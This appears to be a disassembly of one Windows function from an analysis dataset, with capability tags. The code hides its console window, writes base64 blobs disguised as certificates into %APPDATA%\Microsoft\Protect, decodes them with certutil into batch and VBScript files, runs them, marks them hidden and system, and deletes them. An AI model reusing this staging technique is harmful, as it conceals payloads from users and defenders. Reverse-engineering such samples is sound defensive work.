Function at 0x401530
Capabilities:
Execute command
Hide graphical window
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x428
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3c0], ecx
mov qword [rbp + 0x3c8], rdx
call fcn.0040f5d0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rcx, str.APPDATA
call sub.msvcrt.dll_getenv
mov qword [rbp + 0x398], rax
lea rax, [rbp + 0x393]
mov rcx, rax
call fcn.00446d30
lea rdx, [rbp + 0x393]
lea rax, [rbp + 0x380]
mov r8, rdx
lea rdx, str.MicrosoftProtect_nulLibro_de_Soldadura.dll
mov rcx, rax
call fcn.0044fe50
lea rax, [rbp + 0x393]
mov rcx, rax
call fcn.00446d60
lea rax, [rbp + 0x394]
mov rcx, rax
call fcn.00446d30
lea rcx, [rbp + 0x394]
mov rdx, qword [rbp + 0x398]
lea rax, [rbp + 0x370]
mov r8, rcx
mov rcx, rax
call fcn.0044fe50
lea rax, [rbp + 0x394]
mov rcx, rax
call fcn.00446d60
lea rax, [rbp + 0x395]
mov rcx, rax
call fcn.00446d30
lea rdx, [rbp + 0x395]
lea rax, [rbp + 0x360]
mov r8, rdx
lea rdx, [0x00489037]
mov rcx, rax
call fcn.0044fe50
lea rax, [rbp + 0x395]
mov rcx, rax
call fcn.00446d60
lea rdx, [rbp + 0x380]
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.00450540
lea rax, [rbp + 0x396]
mov rcx, rax
call fcn.00446d30
lea rcx, [rbp + 0x396]
mov rdx, qword [rbp + 0x398]
lea rax, [rbp + 0x350]
mov r8, rcx
mov rcx, rax
call fcn.0044fe50
lea rax, [rbp + 0x396]
mov rcx, rax
call fcn.00446d60
lea rax, [rbp + 0x397]
mov rcx, rax
call fcn.00446d30
lea rdx, [rbp + 0x397]
lea rax, [rbp + 0x340]
mov r8, rdx
lea rdx, str.MicrosoftProtectKFICND.dll
mov rcx, rax
call fcn.0044fe50
lea rax, [rbp + 0x397]
mov rcx, rax
call fcn.00446d60
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.00450540
lea rcx, str.if_exist___appdata_MicrosoftProtectKFICND.dll___DEL__F_Q___appdata_MicrosoftProtectKFICND.dll____nul
call sub.msvcrt.dll_system
lea rcx, str.if_exist___appdata_MicrosoftProtectKFICND.bat___DEL__F_Q___appdata_MicrosoftProtectKFICND.bat____nul
call sub.msvcrt.dll_system
mov edx, 0x20
mov ecx, 0x10
call fcn.00470120
mov ebx, eax
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.00426c80
mov rdx, rax
lea rax, [rbp - 0x60]
mov r8d, ebx
mov rcx, rax
call fcn.0045e540
lea rax, [rbp - 0x60]
lea rdx, str._____BEGIN_CERTIFICATE_____
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp - 0x60]
lea rdx, str.QGVjaG8gb2ZmDQppZiBleGlzdCAiJWFwcGRhdGElXE1pY3Jvc29mdFxQcm90ZWN0
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp - 0x60]
lea rdx, str.XG51bFxcIiAoZ290byBzaWtkZCkgZWxzZSAoZ290byBub2tkZCkNCg0KOnNpa2Rk
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp - 0x60]
lea rdx, str.DQoNCmdvdG8gOmVvZg0KDQo6bm9rZGQNCg0KbWQgIiVhcHBkYXRhJVxNaWNyb3Nv
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp - 0x60]
lea rdx, str.ZnRcUHJvdGVjdFxudWxcXCINCg0KZ290byA6ZW9m
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp - 0x60]
lea rdx, str._____END_CERTIFICATE_____
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0045e4f0
lea rcx, str.certutil__decode___appdata_MicrosoftProtectKFICND.dll____appdata_MicrosoftProtectKFICND.bat___nul
call sub.msvcrt.dll_system
lea rcx, str.call___appdata_MicrosoftProtectKFICND.bat_
call sub.msvcrt.dll_system
lea rcx, str.if_exist___appdata_MicrosoftProtectKFICND.dll___DEL__F_Q___appdata_MicrosoftProtectKFICND.dll____nul
call sub.msvcrt.dll_system
lea rcx, str.if_exist___appdata_MicrosoftProtectKFICND.bat___DEL__F_Q___appdata_MicrosoftProtectKFICND.bat____nul
call sub.msvcrt.dll_system
lea rcx, str.Attrib__S__H____appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll____nul
call sub.msvcrt.dll_system
lea rcx, str.Attrib__S__H____appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat____nul
call sub.msvcrt.dll_system
lea rcx, str.if_exist___appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll___DEL__F_Q___appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll____nul
call sub.msvcrt.dll_system
lea rcx, str.if_exist___appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat___DEL__F_Q___appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat____nul
call sub.msvcrt.dll_system
mov edx, 0x20
mov ecx, 0x10
call fcn.00470120
mov ebx, eax
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.00426c80
mov rdx, rax
lea rax, [rbp + 0x170]
mov r8d, ebx
mov rcx, rax
call fcn.0045e540
lea rax, [rbp + 0x170]
lea rdx, str._____BEGIN_CERTIFICATE_____
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.JwAnAFsAVgBiAHMAIABUAG8AIABFAHgAZQBdAA0ACgAnACcADQAKACcAJwBhAE0A
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.UgBBADMAQQBmAFEAUgBOAGoAQgBIAE0AbABRAA0ACgAnACcAZABOAFIASwAyADAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.UwBDAEMAcgB2AEcAWQBLADAAagB0ACsAYwBEADUAQwA5AE0AbgBGADkAeQBNADYA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.VQBLAGoAbAB2AFkAQwA1AHMAMABSAFUAUwAvAEoAdQBLAGMAbABoAGsAVwA2AFUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.SwBFAHAAZwA9AD0ADQAKACcAJwBhAE0AUgBBAHgAUQBYAE0AVwBZACsAVABUAHAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.eAB3ADcANwBWAEEAdQBBAD0APQANAAoAJwAnAGIAZABaAFcAeABoAFAAUQBXAEoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.egBjAEEAZABoAFEADQAKACcAJwBhAHQATgBNAHgAMABTAEMAQwBzAGoAOAANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.JwAnAGUAOQBoAFgAMgBBAFgATABDAHMAWABjAEQALwBnAD0ADQAKACcAJwBlAE4A
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.TgBNAHgAMABTAEMAQwBzAGoAOAANAAoAJwAnAGIAZABaAEcAMwBnAEgATgBDAHMA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.WABjAEQAUABnAD0ADQAKACcAJwBjAE4ASgBSADMAUQB2AGIAQwBzAFgAYwBEAFAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.ZwA9AA0ACgAnACcAZQBkAEoASgAyAGcAcgBhAFUAcABHAEkASABNAFYAdwA0AHAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.VQA9AA0ACgAnACcAYwBzAEYAQQB4AHgAUABOAFEANAB5AFoASABNAFYAdwA0AHAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.VQA9AA0ACgAnACcAZgBNAE4AUgB4AHcAMwBkAFgANAB5AFoAVAA5AGgAdAA4AHEA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.VgB3AA0ACgAnACcAZQBkADUAVwB4AFEAagBlAFUAOQBqAEIASABNAGgAUQANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.JwAnAGEAOQA1AEwAMAB3AHUAZgBGADkAagBNAFAAQQA9AD0ADQAKACcAJwBlADkA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.NQBKADAAQgBMAGEAVwBJAHUAVgBVADUAWgB3ADcANwBWAHcADQAKACcAJwBiAGMA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.VgBLADAAUgBIAGMAWABvADYAWgBUAG8AcwA1AHYAZgB0AFEAaABWAG8ALwANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.JwAnAGIAYwBWAEsAMABSAEgAYwBYAHAAYQBkAFUAWgAxAHcANwA3AFYAdwANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.JwAnAGMAcwBWAE0AMABnADMAUgBTADUAUwBhAFYAWgBRADEAdgBQAFEAZAAzAFYA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.bwBDAHkAVAA0AD0ADQAKACcAJwBkAE4AbABSADAAQgBiAFIAUwA1AFMAYQBWAFoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.UQAxAHYAUABRAGQAMwBWAG8AQwB5AFQANAA9AA0ACgAnACcAZQBkAEoAVwAxAGgA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.YgBXAFcAbwB5AFYAVQA1AFoAdwA3ADcAVgB3AA0ACgAnACcAZgB0AGgASQB4AFEA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.WABSAFUAOQBqAEIASABQAGcAPQANAAoAJwAnAGEAYwBWAEUAMABRAEgAUwBTADQA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.cQBYAEgATQBWAHcAMABnAD0APQANAAoAJwAnAGYAdABoAFYAegBCAGIAVwBUAFoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.QwBJAEgATQBWAHcAMABnAD0APQANAAoAJwAnAGIAYwBWAE0AdwB3AFgATABUADUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.cQBKAFYAWgBRADAAOABxAGgAUQB1AEEAPQA9AA0ACgAnACcAYgBzAGQAQQAxAGcA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.MwBlAFIAcABxAEoAVgBaAFEAMAA4AHEAaABRAHUAQQA9AD0ADQAKACcAJwBmAHQA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.aABJADIAQQBIAFIAWABvAHYAYwBBAGQAaABRAA0ACgAnACcAYgB0AFoAVAAwAEUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.UwBDAEMAcgB2AEcAWQBLADAAagB0ACsAYwBEADUAQwA5AE0AbgBGADkAeQBNADYA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.VQBLAGoAbAB2AFkAQwA1AHMAMABSAFUAUwAvAEoAdQBLADYAcwB5AFIAWABvAEUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.VwBPAGgAbgA4AHgAcgBYAGsATQBZADMAUQBmAEkAcwBlADUAQQB5AFgAUQANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.JwAnAGEATgBaAEcAbABWAG0AZgBHAHYAZwA9AA0ACgAnACcADQAKACcAJwANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.JwAnADEANAA3ADAAOQBmAGUAMQA0AGUANQA2AGYAYgA1AGEAOQA4ADEAZQBiADYA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.YwAxADIANgBmADEAMQA1AGUAMgANAAoAJwAgAE8AYgB0AGkAZQBuAGUAIABsAGEA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.IAByAHUAdABhACAAZABlAGwAIABkAGkAcgBlAGMAdABvAHIAaQBvACAAZABvAG4A
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.ZABlACAAcwBlACAAZQBzAHQAwwChACAAZQBqAGUAYwB1AHQAYQBuAGQAbwAgAGUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.bAAgAGEAcgBjAGgAaQB2AG8AIAAuAHYAYgBzAA0ACgBTAGUAdAAgAGYAcwBvACAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.PQAgAEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBTAGMAcgBpAHAAdABpAG4A
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.ZwAuAEYAaQBsAGUAUwB5AHMAdABlAG0ATwBiAGoAZQBjAHQAIgApAA0ACgByAHUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.dABhAEEAYwB0AHUAYQBsACAAPQAgAGYAcwBvAC4ARwBlAHQAUABhAHIAZQBuAHQA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.RgBvAGwAZABlAHIATgBhAG0AZQAoAFcAcwBjAHIAaQBwAHQALgBTAGMAcgBpAHAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.dABGAHUAbABsAE4AYQBtAGUAKQANAAoADQAKACcAIABEAGUAZgBpAG4AZQAgAGwA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.YQAgAHIAdQB0AGEAIABjAG8AbQBwAGwAZQB0AGEAIABhAGwAIABhAHIAYwBoAGkA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.dgBvACAAZQBuACAAbABhACAAYwBhAHIAcABlAHQAYQAgACIAdABvAG8AbABsAGEA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.dgAiAA0ACgByAHUAdABhAEEAcgBjAGgAaQB2AG8AIAA9ACAAIgBDADoAXABVAHMA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.ZQByAHMAXABwAHkAcABtAGUAeABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.XAB0AG8AbwBsAGwAYQB2AFwATABpAGIAcgBvACAAZABlACAAUwBvAGwAZABhAGQA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.dQByAGEAIABMAEEAVgAuAHgAbABzAG0AIgANAAoADQAKACcAIABDAHIAZQBhACAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.dQBuAGEAIABpAG4AcwB0AGEAbgBjAGkAYQAgAGQAZQAgAEUAeABjAGUAbAANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.UwBlAHQAIABlAHgAYwBlAGwAQQBwAHAAIAA9ACAAQwByAGUAYQB0AGUATwBiAGoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.ZQBjAHQAKAAiAEUAeABjAGUAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAiACkA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.DQAKAA0ACgAnACAAQQBiAHIAZQAgAGUAbAAgAGEAcgBjAGgAaQB2AG8AIABzAGkA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.bgAgAGEAwwCxAGEAZABpAHIAbABvACAAYQAgAGwAYQAgAGwAaQBzAHQAYQAgAGQA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.ZQAgAHIAZQBjAGkAZQBuAHQAZQBzAA0ACgBTAGUAdAAgAHcAYgAgAD0AIABlAHgA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.YwBlAGwAQQBwAHAALgBXAG8AcgBrAGIAbwBvAGsAcwAuAE8AcABlAG4AKAByAHUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.dABhAEEAcgBjAGgAaQB2AG8ALAAgAEYAYQBsAHMAZQAsACAARgBhAGwAcwBlACkA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.DQAKAA0ACgAnACAATQB1AGUAcwB0AHIAYQAgAGwAYQAgAGEAcABsAGkAYwBhAGMA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.aQDDALMAbgAgAGQAZQAgAEUAeABjAGUAbAAgAGEAbAAgAHUAcwB1AGEAcgBpAG8A
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.DQAKAGUAeABjAGUAbABBAHAAcAAuAFYAaQBzAGkAYgBsAGUAIAA9ACAAVAByAHUA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.ZQANAAoADQAKACcAIABMAGkAbQBwAGkAZQB6AGEAIABkAGUAIAB2AGEAcgBpAGEA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.YgBsAGUAcwANAAoAUwBlAHQAIAB3AGIAIAA9ACAATgBvAHQAaABpAG4AZwANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.UwBlAHQAIABlAHgAYwBlAGwAQQBwAHAAIAA9ACAATgBvAHQAaABpAG4AZwANAAoA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str.UwBlAHQAIABmAHMAbwAgAD0AIABOAG8AdABoAGkAbgBnAA
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
lea rdx, str._____END_CERTIFICATE_____
mov rcx, rax
call fcn.0046fb70
mov rdx, qword [0x0048ee60]
mov rcx, rax
call fcn.0044e260
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.0045e4f0
lea rcx, str.certutil__decode___appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll____appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat___nul
call sub.msvcrt.dll_system
lea rcx, str.Attrib_S_H____appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat____nul
call sub.msvcrt.dll_system
lea rcx, str.Attrib_S_H____appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll____nul
call sub.msvcrt.dll_system
lea rcx, str.call___appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat_
call sub.msvcrt.dll_system
lea rcx, str.Attrib__S__H____appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll____nul
call sub.msvcrt.dll_system
lea rcx, str.Attrib__S__H____appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat____nul
call sub.msvcrt.dll_system
lea rcx, str.if_exist___appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll___DEL__F_Q___appdata_MicrosoftProtect_nulLibro_de_Soldadura.dll____nul
call sub.msvcrt.dll_system
lea rcx, str.if_exist___appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat___DEL__F_Q___appdata_MicrosoftProtect_nulLibro_de_Soldadura.bat____nul
call sub.msvcrt.dll_system
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.0045eb80
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0045eb80
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004503c0
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.004503c0
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.004503c0
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.004503c0
lea rax, [rbp + 0x380]
mov rcx, rax
call fcn.004503c0
mov eax, 0
jmp 0x4023e2
add rsp, 0x428
pop rbx
pop rbp
ret